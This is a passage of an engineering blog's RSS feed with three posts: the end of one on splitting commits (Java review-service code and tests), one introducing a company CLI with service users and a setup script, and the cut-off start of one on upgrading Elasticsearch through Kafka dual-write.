&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;CreateReviewOperation&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ReviewsRepo&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;reviewsRepo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;

  &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;CreateReviewOperation&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;ReviewsRepo&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;reviewsRepo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;reviewsRepo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;reviewsRepo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Review&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;review&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;review&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getRating&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;review&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getRating&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;IllegalArgumentException&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Invalid rating&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Strings&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isNullOrEmpty&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;review&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getAuthorName&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;review&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;setAuthorName&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Anonymous Reviewer&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;reviewsRepo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;createReview&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;review&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;And add some unit tests for the operation:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;CreateReviewOperationTest&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ReviewsRepo&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;reviewsRepo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;CreateReviewOperation&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;operation&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;

  &lt;span class=&quot;nd&quot;&gt;@Test&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;testCreatesReview&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// Test code&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;// Other tests&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;At this point, all this code compiles and the unit tests should pass, because the operation doesn’t depend on the repo implementation code.&lt;/p&gt;

&lt;p&gt;Our second (Infrastructure) commit would contain a repo implementation backed by a specific resource (in this case a database):&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;DbReviewsRepo&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;implements&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ReviewsRepo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Connection&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;connection&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;

  &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;DbReviewsRepo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Connection&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;connection&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;connection&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;connection&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;createReview&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Review&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;review&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;//Implementation of createReview that writes to the provided database&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Integration tests for this repo implementation:&lt;/p&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;DbReviewsRepoIT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;DbReviewsRepo&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;repo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;

  &lt;span class=&quot;nd&quot;&gt;@Test&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;testCreateReview&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// Test code&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;// Other tests&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;And finally, the endpoint itself:&lt;/p&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ReviewServer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;

  &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;createReviewEndpoint&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Request&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;Review&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;review&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;transformToReview&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Connection&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;connection&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getReviewsDatabase&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;())&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;CreateReviewOperation&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;DbReviewsRepo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;connection&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;review&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;SQLException&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;RuntimeException&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
</description>
                <pubDate>Mon, 10 May 2021 00:00:00 +0000</pubDate>
                <link>https://engblog.yext.com/post/strategies-for-breaking-up-commits</link>
                <guid isPermaLink="true">https://engblog.yext.com/post/strategies-for-breaking-up-commits</guid>
            </item>
        
            <item>
                <title>Yext Command Line Interface (CLI)</title>
                
                    <dc:creator>asaurabh</dc:creator>
                
                <description>&lt;p&gt;The &lt;a href=&quot;https://www.yext.com/platform/features/yext-command-line-interface&quot;&gt;Yext Command-Line Interface (CLI)&lt;/a&gt; allows a user to interact with Yext from the terminal.&lt;/p&gt;

&lt;p&gt;The Yext CLI can be used to pull, diff, and apply your account’s configuration.
 For example, you can set up &lt;a href=&quot;https://www.yext.com/products/answers&quot;&gt;Yext Answers&lt;/a&gt; without leaving your terminal.
We will continue to support the newest Yext products in the Yext CLI.&lt;/p&gt;

&lt;p&gt;This post introduces you to the Yext CLI, with a particular focus on how to use &lt;a href=&quot;https://hitchhikers.yext.com/docs/cli/service-users-command-group/&quot;&gt;Service Users&lt;/a&gt; for automation.&lt;/p&gt;

&lt;h1 id=&quot;problem&quot;&gt;Problem&lt;/h1&gt;
&lt;p&gt;Our CTO wanted the Yext CLI to apply his configuration as a step in a CI (Continuous Integration) build pipeline.
Our CIO required all data changes to be attributed to a specific human.
How do we solve these two seemingly conflicting constraints at the same time?&lt;/p&gt;

&lt;p&gt;Indirection solves many problems in computer science.
Let’s see how we can leverage that.
But first, how is this issue solved in the real, brick and mortar world?&lt;/p&gt;

&lt;h1 id=&quot;analogy&quot;&gt;Analogy&lt;/h1&gt;

&lt;p&gt;I have a rental property. A property manager manages the property. I have given the property manager a key to the property to keep.
To service the house, he takes out the key and gives it to a plumber with the understanding that the key is only for a finite amount of time.
The plumber uses the key to service the house and returns the key to the property manager. As the property owner, I do not need to be involved in any of this.
However, I am still attributed to any changes to the house.
For example, if there is a housing code violation in the house, I will still be on the hook for that by the Government and not the plumber or the property manager.&lt;/p&gt;

&lt;p&gt;Let’s take this analogy to our service user concept.&lt;/p&gt;

&lt;h1 id=&quot;service-user&quot;&gt;Service User&lt;/h1&gt;

&lt;p&gt;We create a Service User or machine user under an account that generates a key.
Then we save the generated key into Vault, the manager of the keys.
Vault provides the key to a script that activates the service user using the key.
The Auth Server allows an hour for the Service User to make changes to an account.
For a longer duration, the Service User needs to be re-activated using the key.
Service User performs actions on an account. The key stays in the Vault and does not leak to the outside world.
The attributions of these actions include the creator of the Service User in addition to the Service User.&lt;/p&gt;

&lt;p&gt;A Service User can be created only under a session by the account owner. A Service User can make changes to an account.
In the case of multiple owners of the house, the owner who made the service user will be attributed.
This situation is slightly different from real-life where all the owners will be on the hook.&lt;/p&gt;

&lt;p&gt;A service user is valid forever unless specifically deleted. The session that the script gets into is valid only for an hour and needs a re-activation for the next hour.
The Yext CLI sends the key to the auth server on activate. The auth server decrypts the key and matches it against known service users. If matched, the auth server returns an access code valid for that account for an hour.&lt;/p&gt;

&lt;p&gt;While Service User is the applier to script a change to an account, the solution configuration modifications in the
repositories or locally can be scripted by our tool called Solution Updater or &lt;strong&gt;Sud&lt;/strong&gt;.&lt;/p&gt;

&lt;h1 id=&quot;sud&quot;&gt;Sud&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/yext/sud&quot;&gt;Sud (Solution Updater)&lt;/a&gt; is a tool to automate modification of your account or solution configurations present in a repository or locally.
You can use Sud to bulk modify multiple configuration repositories with a single command.
Once you have collected some Cac (configuration as code) resources as JSON files, you may want to maintain them using scripts.
We maintain &lt;a href=&quot;https://github.com/YextSolutions&quot;&gt;Yext Solution Templates&lt;/a&gt; using Sud at Yext.&lt;/p&gt;

&lt;p&gt;We have developed the sud tool and have open-sourced it to help the users maintain their solution repositories.&lt;/p&gt;

&lt;p&gt;Sud uses our &lt;a href=&quot;https://github.com/saurabhaditya/json-patch&quot;&gt;forked&lt;/a&gt; JSON patch library that &lt;a href=&quot;https://github.com/saurabhaditya/json-patch/commit/c0bb287ec9ba9bdc5f13371568140515d6d73507&quot;&gt;implements ordering&lt;/a&gt; to update JSON files in-place.&lt;/p&gt;

&lt;p&gt;Sud, along with the Yext CLI, unlocks the power of the CLI for you.&lt;/p&gt;

&lt;h1 id=&quot;the-power-of-the-cli&quot;&gt;The Power of the CLI&lt;/h1&gt;
&lt;p&gt;In this section, we will install and use the Yext CLI to write an example script.
The script will enable hotel entity type whenever it is run.&lt;/p&gt;

&lt;h2 id=&quot;setup&quot;&gt;Setup&lt;/h2&gt;
&lt;p&gt;To set up for scripting for an account once, we will install the Yext CLI and create a Service User while in a session. We will also install Sud.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://hitchhikers.yext.com/docs/cli/installation/&quot;&gt;Install the Yext CLI&lt;/a&gt; and &lt;a href=&quot;https://hitchhikers.yext.com/docs/cli/getting-started/initialize-account/&quot;&gt;link to an account&lt;/a&gt; as in the &lt;a href=&quot;https://hitchhikers.yext.com/docs/cli&quot;&gt;CLI documentation&lt;/a&gt;.&lt;/p&gt;

    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;brew install yext/tap/yext&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yext init&lt;/code&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Run service-users command group to create a service user with the chosen name and path to where you want to generate the key file.&lt;/p&gt;

    &lt;p&gt;For example,
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yext service-users create runner-service-user ./runner.key&lt;/code&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://github.com/yext/sud#installation&quot;&gt;Install &lt;strong&gt;&lt;em&gt;sud&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; our solution updater tool to bulk edit configuration as code.&lt;/p&gt;

    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;brew install yext/tap/sud&lt;/code&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;/img/2021/2021-03-yext-session.gif&quot; alt=&quot;yext session&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After the one-time setup, we can work on the script to use the CLI tools.&lt;/p&gt;

&lt;h2 id=&quot;script&quot;&gt;Script&lt;/h2&gt;
&lt;p&gt;In this section, we will create a script and run it to make a change to your account.
Please create a script by following the below gif, name it &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;enable-hotel.sh&lt;/code&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Activate the service user. Activating a service user changes the current credential to be the service user.&lt;/p&gt;

    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yext service-users activate --key-file ./runner.key&lt;/code&gt;&lt;/p&gt;

    &lt;p&gt;Once activated, you may pull or apply resources, as usual, using the Service User’s identity.
Please note that for attribution purposes, the user who creates the service user will be part of the actor attribution for changes made using a service user.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;Pull resources &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yext resources pull ~/r/my-resources&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Enable hotel &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sud replace default/km/*/hotel.json --path /enabled --value true ~/r/my-resources&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Apply the modified resource &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yext resources apply ~/r/my-resources/default/km/entity-type-extension/hotel.json -f&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;/img/2021/2021-03-yext-script.gif&quot; alt=&quot;yext script&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Make the script executable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chmod +x enable-hotel.sh&lt;/code&gt; and run it.&lt;/p&gt;

&lt;p&gt;Thus, we can make changes to an account with no human intervention but with human attribution.&lt;/p&gt;

&lt;h1 id=&quot;solved&quot;&gt;Solved!&lt;/h1&gt;
&lt;p&gt;That solves the ask of our CTO to use the Yext CLI to apply without human intervention.
Our CIO wanted human attribution. The creator of the service user continues to be attributed along with the service user.&lt;/p&gt;
</description>
                <pubDate>Wed, 14 Apr 2021 00:00:00 +0000</pubDate>
                <link>https://engblog.yext.com/post/yext-cli</link>
                <guid isPermaLink="true">https://engblog.yext.com/post/yext-cli</guid>
            </item>
        
            <item>
                <title>Elasticsearch upgrade using Kafka</title>
                
                    <dc:creator>msiddique</dc:creator>
                
                <description>&lt;p&gt;Recently, we upgraded our Elasticsearch clusters from version 6 to version 7.
This blog post describes how we did it.&lt;/p&gt;

&lt;h2 id=&quot;why-upgrade&quot;&gt;Why upgrade&lt;/h2&gt;

&lt;p&gt;The upgrade was driven by the desire to search using
&lt;a href=&quot;https://www.elastic.co/guide/en/elasticsearch/reference/7.11/dense-vector.html&quot;&gt;Dense Vectors&lt;/a&gt;
when &lt;a href=&quot;https://techcrunch.com/2021/02/18/yext-answers-orion/&quot;&gt;searching unstructured content&lt;/a&gt;.
After upgrading that cluster, we started to think about the most effective way
to upgrade the remaining Elasticsearch clusters used for other purposes. It’s
important to not get too far behind the upgrade cycle, and our analytics
clusters could benefit from the
&lt;a href=&quot;https://www.elastic.co/blog/improving-node-resiliency-with-the-real-memory-circuit-breaker&quot;&gt;new circuit breaker support&lt;/a&gt;
, since we’ve had problems from time to time with large queries having
negative impact on the cluster.&lt;/p&gt;

&lt;h2 id=&quot;goals-for-the-upgrade-process&quot;&gt;Goals for the upgrade process&lt;/h2&gt;

&lt;p&gt;We had some goals in our mind while planning the upgrade:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;There should be zero downtime/service interruption.&lt;/li&gt;
  &lt;li&gt;If we see performance degradation or errors, we should be able to revert
without data loss.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;how-we-did-it&quot;&gt;How we did it&lt;/h2&gt;

&lt;p&gt;Although Elastic has a &lt;a href=&quot;https://www.elastic.co/guide/en/elasticsearch/reference/current/setup-upgrade.html&quot;&gt;documented upgrade process&lt;/a&gt;
, we decided against that approach because of the potential for downtime and
the difficulty of reverting in case of trouble. Instead of upgrading the
cluster in place, we provisioned a new Elasticsearch 7 cluster and began
indexing documents in both, a process commonly referred to as “dual-write”.
There was one difference, though – instead of pushing documents directly to
Elasticsearch 7, we wrote them to Kafka and loaded them asynchronously.
Direct dual-writing to two different clusters proved out to be risky and
error-prone in local testing.
Writing to Kafka prevents problems with the new cluster from affecting the
existing indexing process, and we were also interested to gain some advantages
from this architecture:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://docs.confluent.io/4.0.0/multi-dc/mirrormaker.html&quot;&gt;Kafka MirrorMaker&lt;/a&gt;
is a more efficient way to transfer data to remote regions than making
individual HTTP requests.&lt;/li&gt;
  &lt;li&gt;For disaster recovery, we can replay the Kafka topic to re-generate an
Elasticsearch index, which is much faster than re-generating all of the
documents from source systems.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/img/elastic-upgrade/dual-write.png&quot; alt=&quot;dual-write&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After we enabled dual-write and ran a full load, we observed the
same number of documents in both the clusters. Then, we verified the contents
of the query responses. The response verification process was service
dependent. Some of our services were simple enough that we could run the
same queries on both the clusters and compare the responses manually. For the
more complicated ones, we had to employ an automatic verification process. We
always use a dedicated RPC server to translate and execute queries against
Elasticsearch to avoid the challenges traditionally associated with shared
databases. By capturing the queries and responses, we can replay traffic from
the production Elasticsearch 6 cluster against the Elasticsearch 7 cluster
under test. Once it was verified that they return the same response, we routed
the traffic to the Elasticsearch 7 cluster.&lt;/p&gt;

&lt;p&gt;Since Elasticsearch REST client 6.8.12 supports both Elasticsearch 6 and 7, we
could use the same code for both the clusters.&lt;/p&gt;

&lt;h2 id=&quot;the-nuts-and-bolts&quot;&gt;The nuts and bolts&lt;/h2&gt;

&lt;p&gt;At first, we made sure that the source and target cluster had the same set of
indices and aliases using the &lt;a href=&quot;https://www.elastic.co/guide/en/elasticsearch/client/java-rest/master/_index_apis.html&quot;&gt;Index management API&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The next step was to update the data. The data in an Elasticsearch cluster can
be updated by the following ways:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;An &lt;a href=&quot;https://www.elastic.co/guide/en/elasticsearch/client/java-rest/master/java-rest-high-document-index.html#java-rest-high-document-index-request&quot;&gt;IndexRequest&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;A &lt;a href=&quot;https://www.elastic.co/guide/en/elasticsearch/client/java-rest/master/java-rest-high-document-delete.html#java-rest-high-document-delete&quot;&gt;DeleteRequest&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;An &lt;a href=&quot;https://www.elastic.co/guide/en/elasticsearch/client/java-rest/master/java-rest-high-document-update.html#java-rest-high-document-update&quot;&gt;UpdateRequest&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.elastic.co/guide/en/elasticsearch/client/java-rest/master/java-rest-high-document-update-by-query.html#java-rest-high-document-update-by-query-request&quot;&gt;UpdateByQuery&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.elastic.co/guide/en/elasticsearch/client/java-rest/master/java-rest-high-document-delete-by-query.html#java-rest-high-document-delete-by-query-request&quot;&gt;DeleteByQuery&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Out of the above options, only IndexRequest and DeleteRequest are
idempotent. Since we were using Kafka, the same message may be replayed
multiple times during application deployment and scaling. As a result,
idempotence of the messages was required. UpdateRequest, UpdateByQuery and
DeleteByQuery didn’t produce the same result if replayed multiple times. In
fact, their output was not even deterministic. As a result, we changed our
